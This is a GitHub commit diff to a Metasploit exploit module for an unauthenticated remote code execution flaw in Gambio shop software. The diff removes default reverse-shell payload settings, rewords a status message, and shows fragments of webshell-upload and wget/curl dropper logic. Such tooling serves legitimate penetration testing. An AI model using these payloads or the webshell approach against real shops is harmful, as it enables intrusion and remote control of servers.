Skip to content

Commit

Permalink
Apply suggestions from code review
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 authored Apr 19, 2024
1 parent 331c961 commit 3205fe9
Showing 1 changed file with 4 additions and 13 deletions.
17 changes: 4 additions & 13 deletions modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Original file line number Diff line number Diff line change
Expand Up @@ -46,21 +46,15 @@ def initialize(info = {})
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
'Type' => :php
}
],
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
'Type' => :unix_cmd
}
],
[
Expand All @@ -70,10 +64,7 @@ def initialize(info = {})
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],
'Linemax' => 16384,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
'Linemax' => 16384
}
],
],
Expand Down Expand Up @@ -164,7 +155,7 @@ def upload_webshell
unless html.blank?
country_tax_options = html.css('select[@id="country"]')
country_tax_options.css('option').each do |country|
print_status("code: #{country['value']}")
vprint_status("Application's tax country code setting required for exploitation: #{country['value']}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'),
Expand Down

0 comments on commit 3205fe9

Please sign in to comment.